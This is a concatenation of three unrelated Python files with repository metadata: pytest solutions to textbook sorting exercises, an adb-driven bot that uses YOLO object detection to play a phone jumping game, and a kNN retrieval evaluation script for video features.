list(range(5, 15))),\n                                    (list(range(0, 100, 10)),\n                                     list(range(40, 60, 2))),\n                                    (list(range(0, 10)),\n                                     list(range(10, 20))),\n                                    (list(range(0, 20, 2)),\n                                    list(range(1, 20, 2)))\n                                    ])\ndef test_sequence_union(A, B):\n    \"\"\"Solution to exercise R-12.7.\n\n    Suppose we are given two n-element sorted sequences A and B each with\n    distinct elements, but potentially some elements that are in both\n    sequences.  Describe an O(n)-time method for computing a sequence\n    representing the union A \u222a B (with no duplicates) as a sorted sequence.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    Important information:\n    1. A and B are both length n\n    2. A and B are both sorted\n    3. The elements of A and B are distinct, meaning no repeats within A or B\n\n    Because the lists are sorted, we don't need to compare every element in\n    A to every element in B.  We know that if A[i] < B[j] that we can increment\n    i until A[i] >= B[j].  Conversely, if A[i] > B[j] we should increment j\n    until A[i] <= B[j].  If a match is found, we append it to the union list\n    and increment both i and j.  Because both A and B are distinct there is\n    no possibility of getting multiple matches of the same value.\n\n    The while loop will continue so long as both i and j are < n.  This means\n    that the maximum number of loops is 2n.  Each loop performs an O(1)\n    operation (append is O(1)* amortized), and so the algorithim's run-time\n    efficiency is proportional to the number of loops, which is O(n).\n    \"\"\"\n    assert chap12.sequence_union(A, B) == sorted(list(set(A) & set(B)))\n\n\ndef test_quick_sort_pivot1():\n    \"\"\"Solution to exercise R-12.8.\n\n    Suppose we modify the deterministic version of the quick-sort algorithm\n    so that, instead of selecting the last element in an n-element sequence as\n    the pivot, we choose the element at index n//2. What is the running time\n    of this version of quick-sort on a sequence that is already sorted?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    If the pivot is always selected at n // 2, and the sequence is already\n    sorted, then the pivot will be the median value of the sequence and split\n    it evenly into two halves at every recursive call of quick_sort().\n    This is the ideal scenario as the resulting quick-sort binary tree will\n    have a height of log(n), and so the quick-sort algorithm's run-time will be\n    O(nlogn).\n    \"\"\"\n    assert chap12.quick_sort_pivot1()\n\n\ndef test_quick_sort_pivot2():\n    \"\"\"Solution to exercise R-12.9.\n\n    Consider a modification of the deterministic version of the quick-sort\n    algorithm where we choose the element at index n//2 as our pivot.\n    Describe the kind of sequence that would cause this version of quick-sort\n    to run in \u03a9(n^2) time.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    The sequence would need to ensure that the pivot value selected at index\n    n // 2 was always either the smallest or the largest value in the sequence.\n    This ensures that all values are moved to either L or G for every split,\n    and so the sequence is only decreasing in length by 1 (the pivot value).\n    This would cause the height of the tree to be n, and so the quick-sort\n    algorithm's run-time would be \u03a9(n^2).\n\n    To create this sequence, simply sort the values in reverse order, split\n    the sequence in two, and then swap the two halves.  An example is shown\n    below:\n\n    [0 1 2 3 4 5 6 7 8 9]       # Example sequence\n    [9 8 7 6 5 4 3 2 1 0]       # Reverse sort\n    [4 3 2 1 0 9 8 7 6 5]       # Swap halves\n\n    Now to demonstrate that the length of the sequence will only decrease by 1\n    for each quick-sort call.  Remember, if the pivot value is the smallest or\n    greatest value, all of the other values are placed into either L or G:\n\n    [4 3 2 1 0 9 8 7 6 5]       # n = 10, n//2 = 5, pivot = 9, all values in L\n    [4 3 2 1 0 8 7 6 5]         # n =  9, n//2 = 4, pivot = 0, all values in G\n    [4 3 2 1 8 7 6 5]           # n =  8, n//2 = 4, pivot = 8, all values in L\n    [4 3 2 1 7 6 5]             # n =  7, n//2 = 3, pivot = 1, all values in G\n    [4 3 2 7 6 5]               # n =  6, n//2 = 3, pivot = 7, all values in L\n    [4 3 2 6 5]                 # n =  5, n//2 = 2, pivot = 2, all values in G\n    [4 3 6 5]                   # n =  4, n//2 = 2, pivot = 6, all values in L\n    [4 3 5]                     # n =  3, n//2 = 1, pivot = 3, all values in G\n    [4 5]                       # n =  2, n//2 = 1, pivot = 5, all values in L\n    [4]                         # n <  2, Return\n    \"\"\"\n    assert chap12.quick_sort_pivot2()\n\n\ndef test_inplace_flaw():\n    \"\"\"Solution to exercise R-12.12.\n\n    If the outermost while loop of our implementation of inplace quick sort\n    (line 7 of Code Fragment 12.6) were changed to use condition left < right\n    (rather than left <= right), there would be a flaw. Explain the flaw and\n    give a specific input sequence on which such an implementation fails.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    This change would prevent the left index from exceeding the right index.\n    The value at the left index and the pivot are swapped at the end of the\n    quick-sort call.  This means that the wrong value will be swapped with the\n    pivot.\n\n    This is an issue whenever the value that the left and right indices meet at\n    is less than the pivot value.  This value will end up on the right side of\n    the sequence when it is swapped with the pivot (assuming we use the last\n    element of the sequence as the pivot), when it should be on the left side\n    of the sequence.\n\n    The sequence used in Figure 12.14 works as an example.  The beginning\n    sequence is [85, 24, 63, 45, 17, 31, 96, 50].  After the inplace quick-sort\n    with the < operator, the result is [17, 31, 24, 50, 45, 63, 85, 96].\n\n    [85, 24, 63, 45, 17, 31, 96, 50]  # Original sequence\n                 l,r              p\n\n    [31, 24, 17, 50, 63, 85, 96, 45]  # 50 at index 3\n                  p\n\n    [31, 24, 17]    [63, 85, 96, 45]\n     l,r      p      l,r          p\n\n    [17, 24, 31]    [45, 85, 96, 63]  # 17 at index 0, 45 at index 4\n      p               p\n\n        [24, 31]        [85, 96, 63]\n         l,r  p          l,r      p\n\n        [31, 24]        [63, 96, 85]  # 31 at index 1, 63 at index 5\n          p               p\n\n            [24]            [96, 85]  # 24 at index 2\n              p              l,r  p\n\n                            [85, 96]  # 85 at index 6\n                              p\n\n                                [96]  # 96 at index 7\n                                  p\n\n    [17, 31, 24, 50, 45, 63, 85, 96]\n\n    The final sorted sequence is clearly incorrect.\n    \"\"\"\n    assert chap12.inplace_flaw()\n\n\ndef test_bucket_sort_inplace():\n    \"\"\"Solution to exercise R-12.17.\n\n    Is the bucket-sort algorithm in-place? Why or why not?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    An algorithm is in-place if uses only a small amount of memory in addition\n    to that needed for the original input.  Bucket-sort uses a separate bucket\n    array to store entries from the original sequence S.  The bucket array's\n    memory usage must be at least as large as S in order to store all of S's\n    entries.  The entries are then placed back into S in sorted order.\n\n    Therefore bucket-sort requires O(n) additional memory usage and is *not*\n    in-place.\n    \"\"\"\n    assert chap12.bucket_sort_inplace()\n\n\n@pytest.fixture(name=\"sequences\", scope=\"function\", params=[1, 2, 3, 5, 7])\ndef d_tuples_fixture(request):\n    \"\"\"Fixture to supply sequences of d-tuples for the radix sort function.\"\"\"\n\n    class GenerateDTuples:\n        \"\"\"Fixture class to store sequences of d-tuples.\"\"\"\n\n        def __init__(self):\n            \"\"\"Reproducible sequences of d-tuples to test radix sort.\"\"\"\n            rng = np.random.default_rng(4)\n            self.N = 100\n            N = self.N              # Range of integer keys is [0, N-1]\n            d = request.param       # d-tuple, d = 3 is a triplet or 3-tuple\n            n = 10                  # Length of sequence\n            s = 10                  # Number of sequences to test\n            self.d_tuples = (\n                [tuple(rng.choice(range(N), size=d)) for _ in range(n)]\n                for _ in range(s)\n            )\n    return GenerateDTuples()\n\n\ndef test_radix_sort_triplets(sequences):\n    \"\"\"Solution to exercise R-12.18.\n\n    Describe a radix-sort method for lexicographically sorting a sequence S of\n    triplets (k, l, m), where k, l, and m are integers in the range [0, N \u2212 1],\n    for some N \u2265 2. How could this scheme be extended to sequences of d-tuples\n    (k1, k2 , ..., kd), where each ki is an integer in the range [0, N \u2212 1]?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    The radix-sort of a sequence of d-tuples is simply the application of d\n    bucket-sorts of the sequence in reverse order of keys.  In a lexicographic\n    sort the dth key is the least important, and the first key the most\n    important.  By stably sorting by the dth key first, then the d-1 key, d-2\n    key, etc. we ensure a lexicographic ordering of the d-tuples.\n\n    The solution below lexicographically sorts a sequence of d-tuples for any\n    value of d > 0.  Note that I used a list of lists to represent the bucket\n    array.  Popping and appending at the end of a list are O(1) operations,\n    while popping and inserting at the beginning of a list are O(n) operations.\n\n    Because of this, I iterate through the sequence of d-tuples in reverse\n    order so that I can pop the last d-tuple from the sequence and append it to\n    the end of the bucket at the appropriate index.  This inserts the d-tuples\n    in the bucket in reverse order, such that d-tuples that appeared later in\n    the sequence are stored in the beginning of the bucket.\n\n    Once the sequence is empty, I iterate through the bucket array in order\n    from index 0 to N-1.  I again pop d-tuples from the end of each bucket and\n    append them to the end of the sequence.  The d-tuples at the end of the\n    bucket are the d-tuples that appeared earliest in the sequence, and so\n    this preserves the order of the entries in the sequence (stable) while\n    allowing for O(1) array operations.\n\n    This is the reverse of the front-to-back method discussed in the text,\n    where the sequence is accessed front-to-back and elements are removed from\n    the buckets front-to-back.  Because I operate back-to-front on both the\n    sequence and the buckets the reversal cancels out, and the result is a\n    stable sort.\n\n    This series of operations repeats for all d keys in the tuple.\n    \"\"\"\n    for sequence in sequences.d_tuples:\n        expected_sort = sorted(sequence)  # Stable, lexicographic sort\n        chap12.radix_sort_triplets(sequence, sequences.N)\n        assert sequence == expected_sort\n\n\ndef test_how_long_quick_merge_sorts():\n    \"\"\"Solution to exercise R-12.19.\n\n    Suppose S is a sequence of n values, each equal to 0 or 1. How long will\n    it take to sort S with the merge-sort algorithm? What about quick-sort?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    The exercise does not state whether the 0s and 1s are equally likely to\n    appear in the sequence, but either way there will be many duplicate values.\n    Merge-sort has a worst-case run time of O(nlogn), regardless of how many\n    duplicates exists in the sequence.  It also cannot take advantage of \"runs\"\n    in the data, and so I would expect merge-sort to require O(nlogn) time.\n\n    As for quick-sort, each recursive call of quick-sort chooses\n    a value from the sequence as a pivot, and splits the sequence into\n    sub-sequences of values that are either greater than, less than, or equal\n    to the pivot value.  But with the elements of the sequence restricted to\n    two values, the pivot can never be the median value of the sequence.\n    A pivot value that is consistently close to the median of the sequence is\n    typically the ideal case to achieve O(nlogn) performance.\n\n    Instead, the pivot will always be either 0 or 1, and the values in the\n    sequence will either all be stored in L and E, or all stored in G and E.\n    There are two scenarios that could ensue:\n\n    1. The distribution of 0s and 1s in the sequence are roughly equal\n    2. The distribution of 0s and 1s is skewed towards either 0 or 1\n\n    If the sequence is composed of a roughly equal number of 0s and 1s, then\n    each recursive call of quick-sort will split the sequence roughly in half:\n    half of the elements in E, and the other half in (one of) L or G.  This\n    halving of the length of the sequence will result in a quick-sort binary\n    tree of height log(n), and so the run-time efficiency of quick-sort would\n    thus be O(nlogn).\n\n    If the distribution is skewed towards mostly 0s or mostly 1s, then each\n    recursive call of quick-sort will place the majority of values in either E\n    or (one of) L or G.  If the sequence is mostly 0s (for instance), most of\n    the time the pivot will be a zero and most of the values will go to E.\n    Very few values will go to G, and so the size of the sequence will be\n    quickly reduced.  In the extreme, if the entire sequence was 0s with no 1s,\n    then all of the value would be placed in E and quick-sort would return\n    after a single call as L and G are empty.  This corresponds to a\n    quick-sort binary tree of height 1, and so the expected run-time is O(n).\n\n    As a final answer, under this scenario we would expect quick-sort's\n    run-time efficiency to be bounded between \u03a9(n) and O(nlogn).\n    \"\"\"\n    assert chap12.how_long_quick_merge_sorts()\n\n\ndef test_how_long_bucket_sort():\n    \"\"\"Solution to exercise R-12.20.\n\n    Suppose S is a sequence of n values, each equal to 0 or 1. How long will\n    it take to sort S stably with the bucket-sort algorithm?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    In this scenario N = 2, and all of the values will be inserted into either\n    index 0 or index 1 of the bucket array.  Bucket-sort will stably sort the\n    sequence regardless of the number of duplicates.\n\n    The run-time efficiency of bucket-sort is O(n + N), and if N is small\n    relative to n bucket-sort is O(n).\n\n    A sequence of n < 2 is already sorted, and so it's safe to say that in this\n    scenario bucket-sort's run-time efficiency is O(n).\n    \"\"\"\n    assert chap12.how_long_bucket_sort()\n\n\ndef test_inplace_sort():\n    \"\"\"Solution to exercise R-12.21.\n\n    Given a sequence S of n values, each equal to 0 or 1, describe an in-place\n    method for sorting S.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    I used a solution similar to the in-place quick-sort algorithm, except\n    that the pivot is always be the same value and there is no need for\n    recursion.\n    \"\"\"\n    n = 100         # Length of sequence\n    num_tests = 10  # Number of random sequences to test\n    rng = np.random.default_rng(27)\n    for _ in range(num_tests):\n        rints = list(rng.integers(low=0, high=2, size=n))\n        expected_sort = sorted(rints)\n        chap12.inplace_sort(rints)\n        assert rints == expected_sort\n\n\ndef test_insertion_sort():\n    \"\"\"Solution to exercise R-12.22.\n\n    Give an example input list that requires merge-sort and heap-sort to take\n    O(n log n) time to sort, but insertion-sort runs in O(n) time. What if you\n    reverse this list?\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    Insertion-sort runs in O(n) time when the sequence is already sorted, such\n    as [0, 1, 2, 3, 4, 5].  This is because the inner loop of the insertion-\n    sort never needs to run, and the outer loop runs for n iterations.\n\n    Merge-sort is guaranteed to run in worst-case O(nlogn) time regardless of\n    whether the list is sorted.  The fact that the list is already sorted does\n    not improve its run-time, because it will recursively split the sequence\n    in halves even if it is already sorted.\n\n    Heap-sort's run-time efficiency is tied to the height of the heap.  As\n    items are added to the heap they will have to be \"up-heap bubbled\" in order\n    to preserve the heap-order and complete binary tree properties.  This\n    requires O(nlogn) time as each added item i requires O(logi) time to move\n    up the tree.  However, if a heap is constructed from a sorted list each\n    added element should preserve the heap-order and completeness properties.\n    This will reduce the phase 1 run-time to O(n).  But in order to sort the\n    list, the remove_min() method must be called n times.  Each time\n    remove_min() is called, the root of the heap is replaced by a value from\n    the bottom of the heap.  This value must then be \"down-heap bubbled\" which\n    will require time proportional to the height of the tree.  Thus the phase 2\n    run-time of heap-sort is O(nlogn), making the overall run-time efficiency\n    of heap-sort O(nlogn) even for an already sorted list.\n\n    If the sorted list is reversed, then insertion-sort runs in O(n^2) time\n    because the inner loop must perform 0, 1, 2, ..., n-1 swaps.  This is the\n    sum of the first n integers, hence the O(n^2) run-time.  Merge-sort and\n    heap-sort will still sort the reversed list in O(nlogn) time.\n    \"\"\"\n    assert chap12.insertion_sort()\n\n\ndef test_best_algorithm():\n    \"\"\"Solution to exercise R-12.23.\n\n    What is the best algorithm for sorting each of the following: general com-\n    parable objects, long character strings, 32-bit integers, double-precision\n    floating-point numbers, and bytes? Justify your answer.\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    1. General comparable objects:\n        a. If the sequence is small-to-medium-sized, heap-sort is guaranteed to\n           be O(nlogn) worst-case.\n\n        b. If the sequence is large and memory is not an issue, merge-sort is\n           worst-case O(nlogn) and may outperform heap-sort.\n\n        c. If the sequence is large and memory usage is an issue, quick-sort\n           can easily run in-place and may outperform both heap-sort and\n           quick-sort with its expected O(nlogn) run-time efficiency.  However,\n           worst-case it is O(n^2), and this may not be acceptable for real-\n           time applications.\n\n        d. Insertion-sort, radix-sort, bucket-sort:\n           Bucket-sort and radix-sort require sequences of integers, and so in\n           general can't be recommended.  Insertion-sort performs well on small\n           sequences - especially if they are already nearly sorted.  Again,\n           this is a special case and in general insertion-sort can't be\n           recommended.\n\n    2. Long character strings:\n        a. Radix-sort is ideal for character strings, because it will perform a\n           lexicographic sort of the strings in O(d(n + N)) time.  If the\n           strings are long d might be quite large, but even so other sorting\n           methods will not lexicographically sort strings without\n           modification.\n\n        b. Quick-sort and heap-sort are not stable sorting methods, and so\n           cannot lexicographically sort a string.\n\n        c. Merge-sort is a stable sorting algorithm, and so if d is large\n           enough it may be worth modifying merge-sort to handle strings.\n\n    3. 32-bit integers:\n        a. If the integers happen to be constrained to a range N that is O(n),\n           then the best sorting algorithm is bucket-sort, because bucket-sort\n           can sort integers in O(n) time.\n\n        b. If the integers are not constrained to a range N that is O(n) and\n           are quite large compared to n, then another sorting method will\n           provide better results.  In this case, the same recommendations\n           for general comparable objects will apply.\n\n    4. Double-precision floating-point numbers\n       a. The same recommendations for general comparable objects apply here.\n\n\n    5. Bytes\n        a. It's possible to represent a byte as a d-tuple of d bits, each bit\n           being either 0 or 1.  In this case N = 2, and so radix-sort should\n           run in O(n) time.\n\n        b. Bytes can be represented as integers, and so a bucket-sort may be\n           appropriate if N is constrained to be O(n).\n    \"\"\"\n    assert chap12.best_algorithm()\n\n\ndef test_quick_select():\n    \"\"\"Solution to exercise R-12.24.\n\n    Show that the worst-case running time of quick-select on an n-element\n    sequence is \u03a9(n^2).\n\n    ---------------------------------------------------------------------------\n    Solution:\n    ---------------------------------------------------------------------------\n    In the worst case, the randomly selected pivot value will always be the\n    maximum value of the sequence when searching for the minimum value,\n    or the pivot will always be the minimum value of the sequence when\n    searching for the maximum value.  This will result in all of the\n    sequence values being placed in either the L or G list, and the length of\n    the sequence will only reduce by one per recursive call to quick-select.\n    The algorithm will then run n, n-1, n-2, n-3, ..., 1 comparisons,\n    which is the sum of the first n integers and is equal to n(n+1)/2.  In this\n    worst-case scenario the lower bound on run-time efficiency is thus \u03a9(n^2).\n    \"\"\"\n    assert chap12.quick_select()\n", "meta": {"hexsha": "fc3dfeee14e0f6ba670184ba0b771d603ebdb07c", "size": 28879, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/unit/exercises/test_chapter12.py", "max_stars_repo_name": "AlexMGitHub/DS-A_Python", "max_stars_repo_head_hexsha": "a4770c95ef2f76917fb1d8bc8c11433828a735a3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/unit/exercises/test_chapter12.py", "max_issues_repo_name": "AlexMGitHub/DS-A_Python", "max_issues_repo_head_hexsha": "a4770c95ef2f76917fb1d8bc8c11433828a735a3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/unit/exercises/test_chapter12.py", "max_forks_repo_name": "AlexMGitHub/DS-A_Python", "max_forks_repo_head_hexsha": "a4770c95ef2f76917fb1d8bc8c11433828a735a3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.4072327044, "max_line_length": 79, "alphanum_fraction": 0.602444683, "include": true, "reason": "import numpy", "num_tokens": 6808, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.19682620128743875, "lm_q1q2_score": 0.09687552107267053}}
{"text": "from yolo import *\nimport os, time\nfrom PIL import Image, ImageDraw, ImageFile\nimport math\nimport cv2\nimport numpy as np\nimport subprocess\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\nWAIT_AFTER_JUMP = 3000\nCAPTURE_FOLDER = '/home/cooli7wa/Desktop/tmp_image/'\nCAPTURE_FILE = CAPTURE_FOLDER + 'screen.png'\nIMG_PATH = '/home/cooli7wa/project/pycharm/tiaotiao/img/'\nPRESS_PARAM = 1.375\nCHESS_CENTER_CORRECT = 22\nINVALID_BOX_DISTANCE = 20\nRESTORE_NUM = 50\nRESTART_GAME_POS = [600, 1700]\n\nscreen_param = {'width': 0, 'height': 0}\nrestore_counter = 0\n\n\ndef image_open(path):\n    img = Image.open(path)\n    return img\n\n\ndef get_screen_parameter():\n    screen_capture_download()\n    img = image_open(CAPTURE_FILE)\n    shape = img.size\n    screen_param['width'] = shape[0]\n    screen_param['height'] = shape[1]\n    print('screen parameter:', screen_param)\n\n\ndef screen_capture_download():\n    process = subprocess.Popen('adb shell screencap -p', shell=True, stdout=subprocess.PIPE)\n    screenshot = process.stdout.read()\n    screenshot = screenshot.replace(b'\\r\\n', b'\\n')\n    f = open('{}'.format(CAPTURE_FILE), 'wb')\n    f.write(screenshot)\n    f.close()\n\n\ndef jump(distance):\n    press_time = round(distance * PRESS_PARAM)\n    cmd = 'adb shell input swipe {x1} {y1} {x2} {y2} {duration}'.format(\n        x1=screen_param['width'] // 2,\n        y1=screen_param['height'] // 2,\n        x2=screen_param['width'] // 2,\n        y2=screen_param['height'] // 2,\n        duration=press_time\n    )\n    print('distance: {}, press_time: {}ms'.format(distance, press_time))\n    os.popen(cmd)\n\n\ndef cal_center_point(box):\n    x = (box[2] + box[0]) / 2\n    y = (box[3] + box[1]) / 2\n    return [x, y]\n\n\ndef is_invalid_box(chess_center, box_center):\n    if box_center[1] >= chess_center[1]:\n        return True\n    if cal_distance(box_center, chess_center) <= INVALID_BOX_DISTANCE:\n        return True\n    return False\n\n\ndef cal_distance(point1, point2):\n    x = point2[0] - point1[0]\n    y = point2[1] - point1[1]\n    return math.sqrt((x ** 2) + (y ** 2))\n\n\ndef draw_points(image, points):\n    draw = ImageDraw.Draw(image)\n    for point in points:\n        draw.ellipse((point[0] - 10, point[1] - 10, point[0] + 10, point[1] + 10), 'seagreen', 'skyblue')\n    return image\n\n\ndef change_box_xy(boxes):\n    for i, box in enumerate(boxes):\n        boxes[i] = [box[j] for j in [1, 0, 3, 2]]\n\n\ndef restore_image(img_a, img):\n    global restore_counter\n    cv2.imwrite('{}/{}_a.jpg'.format(CAPTURE_FOLDER, restore_counter), img_a)\n    cv2.imwrite('{}/{}.jpg'.format(CAPTURE_FOLDER, restore_counter), img)\n    restore_counter = (restore_counter + 1) % RESTORE_NUM\n\n\ndef add_mismatch_image(image):\n    jpg_list = list(filter(lambda i: i.rsplit('.')[1] == 'jpg', os.listdir(IMG_PATH)))\n    next_number = int(sorted(jpg_list)[-1].rsplit('.')[0]) + 1\n    cv2.imwrite(IMG_PATH + '%06d.jpg' % next_number, image)\n\n\ndef restart_game():\n    jump(2000)\n    time.sleep(8)\n    os.popen('adb shell input tap {} {}'.format(RESTART_GAME_POS[0], RESTART_GAME_POS[1]))\n    time.sleep(2)\n\n\ndef main_loop(model):\n    while True:\n        screen_capture_download()\n        image_origin = image_open(CAPTURE_FILE)\n        image = image_origin.copy()\n        boxes, classes = model.detect_image(image)\n        image_origin = np.array(image_origin)\n        image_origin = cv2.cvtColor(image_origin, cv2.COLOR_RGB2BGR)\n        boxes = boxes.tolist()\n        classes = classes.tolist()\n        change_box_xy(boxes)\n        target_box, chessman_box = [], []\n\n        for i in range(len(boxes)):\n            if classes[i] == 2:\n                chessman_box = boxes[i]\n            else:\n                if not target_box:\n                    target_box = boxes[i]\n                else:\n                    center_cur = cal_center_point(boxes[i])\n                    center_tar = cal_center_point(target_box)\n                    if center_cur[1] < center_tar[1]:\n                        target_box = boxes[i]\n        if not chessman_box or not target_box:\n            print('no chessman or target box')\n            add_mismatch_image(image_origin)\n            restart_game()\n            continue\n        chessman_center = [(chessman_box[2] + chessman_box[0]) / 2, chessman_box[3] - CHESS_CENTER_CORRECT]\n        target_center = cal_center_point(target_box)\n        image = draw_points(image, [chessman_center, target_center])\n        image = image.resize((screen_param['width'] // 3, screen_param['height'] // 3), Image.ANTIALIAS)\n        image = np.array(image)\n        image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n        cv2.imshow('', image)\n        if is_invalid_box(chessman_center, target_center):\n            print('no possible target box')\n            add_mismatch_image(image_origin)\n            restart_game()\n            continue\n        restore_image(image, image_origin)\n        distance = cal_distance(target_center, chessman_center)\n        jump(distance)\n        cv2.waitKey(WAIT_AFTER_JUMP)\n\n\nif __name__ == '__main__':\n    get_screen_parameter()\n    restore_counter = 0\n    main_loop(YOLO())\n", "meta": {"hexsha": "c01f4a8578fd02571637c2d3e41b63f91933b08f", "size": 5050, "ext": "py", "lang": "Python", "max_stars_repo_path": "tiao.py", "max_stars_repo_name": "cooli7wa/keras-yolo3", "max_stars_repo_head_hexsha": "50945aec0bcffc7922a89650d194dab55f4a9799", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-18T05:06:03.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-18T05:06:03.000Z", "max_issues_repo_path": "tiao.py", "max_issues_repo_name": "cooli7wa/keras-yolo3", "max_issues_repo_head_hexsha": "50945aec0bcffc7922a89650d194dab55f4a9799", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tiao.py", "max_forks_repo_name": "cooli7wa/keras-yolo3", "max_forks_repo_head_hexsha": "50945aec0bcffc7922a89650d194dab55f4a9799", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.7926829268, "max_line_length": 107, "alphanum_fraction": 0.6344554455, "include": true, "reason": "import numpy", "num_tokens": 1329, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5660185351961015, "lm_q2_score": 0.17106119801750538, "lm_q1q2_score": 0.09682380873075865}}
{"text": "import numpy as np\nimport argparse\nimport os\nimport json\n\nfrom sklearn.metrics.pairwise import cosine_distances, euclidean_distances\n\n\ndef main():\n    parser = argparse.ArgumentParser('retrieval eval')\n    parser.add_argument('--output-dir', type=str)\n    parser.add_argument('--trainsplit', type=str, required=True)\n    parser.add_argument('--valsplit', type=str, required=True)\n    parser.add_argument('--num_replica', type=int, default=8)\n    parser.add_argument('--data-source', type=str)\n    args = parser.parse_args()\n\n    for i in range(args.num_replica):\n        os.path.exists(os.path.join(args.output_dir, 'feature_{}_{}.npy'.format(args.trainsplit, i)))\n        os.path.exists(os.path.join(args.output_dir, 'feature_{}_cls_{}.npy'.format(args.trainsplit, i)))\n        os.path.exists(os.path.join(args.output_dir, 'feature_{}_{}.npy'.format(args.valsplit, i)))\n        os.path.exists(os.path.join(args.output_dir, 'feature_{}_cls_{}.npy'.format(args.valsplit, i)))\n        os.path.exists(os.path.join(args.output_dir, 'vid_num_{}.npy'.format(args.trainsplit)))\n        os.path.exists(os.path.join(args.output_dir, 'vid_num_{}.npy'.format(args.valsplit)))\n\n    vid_num_train = np.load(os.path.join(args.output_dir, 'vid_num_{}.npy'.format(args.trainsplit)))\n    train_padding_num = vid_num_train[0] % args.num_replica\n    vid_num_val = np.load(os.path.join(args.output_dir, 'vid_num_{}.npy'.format(args.valsplit)))\n    val_padding_num = vid_num_val[0] % args.num_replica\n\n    feat_train = []\n    feat_train_cls = []\n    for i in range(args.num_replica):\n        feat_train.append(np.load(os.path.join(args.output_dir, 'feature_{}_{}.npy'.format(args.trainsplit, i))))\n        feat_train_cls.append(\n            np.load(os.path.join(args.output_dir, 'feature_{}_cls_{}.npy'.format(args.trainsplit, i))))\n    if train_padding_num > 0:\n        for i in range(train_padding_num, args.num_replica):\n            feat_train[i] = feat_train[i][:-1, :]\n            feat_train_cls[i] = feat_train_cls[i][:-1]\n    feat_train = np.concatenate(feat_train, axis=0).squeeze()\n    feat_train_cls = np.concatenate(feat_train_cls, axis=0).squeeze()\n    print('feat_train: {}'.format(feat_train.shape))\n    print('feat_train_cls: {}'.format(feat_train_cls.shape))\n\n    feat_val = []\n    feat_val_cls = []\n    for i in range(args.num_replica):\n        feat_val.append(np.load(os.path.join(args.output_dir, 'feature_{}_{}.npy'.format(args.valsplit, i))))\n        feat_val_cls.append(np.load(os.path.join(args.output_dir, 'feature_{}_cls_{}.npy'.format(args.valsplit, i))))\n    if val_padding_num > 0:\n        for i in range(val_padding_num, args.num_replica):\n            feat_val[i] = feat_val[i][:-1, :]\n            feat_val_cls[i] = feat_val_cls[i][:-1]\n    feat_val = np.concatenate(feat_val, axis=0)\n    feat_val_cls = np.concatenate(feat_val_cls, axis=0)\n    print('feat_val: {}'.format(feat_val.shape))\n    print('feat_val_cls: {}'.format(feat_val_cls.shape))\n\n    # kNN retrieval\n    if args.valsplit == 'test':\n        ks = [3]\n    else:\n        ks = [1, 5, 10, 20, 50]\n    topk_correct = {k: 0 for k in ks}\n\n    class_top = 1\n    if args.data_source == 'ucf':\n        class_num = 101\n    elif args.data_source == 'hmdb':\n        class_num = 51\n    else:\n        raise Exception('The data-source argument no assigned!')\n    class_correct = {cls: 0 for cls in range(0, class_num)}\n    class_total = {cls: 0 for cls in range(0, class_num)}\n\n    X_train = feat_train\n    y_train = feat_train_cls\n    X_test = feat_val\n    y_test = feat_val_cls\n\n    distances = cosine_distances(X_test, X_train)\n    indices = np.argsort(distances)\n\n    for k in ks:\n        # print(k)\n        top_k_indices = indices[:, :k]\n        if args.valsplit == 'test':\n            print(top_k_indices)\n            np.save(os.path.join(args.output_dir, 'top_k_indices.npy'), top_k_indices)\n        # print(top_k_indices.shape, y_test.shape)\n        for ind, test_label in zip(top_k_indices, y_test):\n            labels = y_train[ind]\n            if test_label in labels:\n                # print(test_label, labels)\n                topk_correct[k] += 1\n                if k == class_top:\n                    class_correct[test_label] += 1\n            if k == class_top:\n                class_total[test_label] += 1\n\n    for k in ks:\n        correct = topk_correct[k]\n        total = len(X_test)\n        print('Top-{}, correct = {:.2f}, total = {}, acc = {:.3f}'.format(k, correct, total, correct / total))\n\n    # save label\n    if args.valsplit != 'test':\n        label_file = os.path.join(args.output_dir, 'class_retrieval_vclr.txt')\n        f = open(label_file, 'w')\n        for k in class_correct.keys():\n            correct = class_correct[k]\n            total = class_total[k]\n            info = 'Classs-{}, Top-{}, correct = {:.2f}, total = {}, acc = {:.3f}'.format(\n                k, class_top, correct, total, correct / total)\n            print(info)\n            f.write(info)\n            f.write('\\n')\n        f.close()\n\n    with open(os.path.join(args.output_dir, 'topk_correct.json'), 'w') as fp:\n        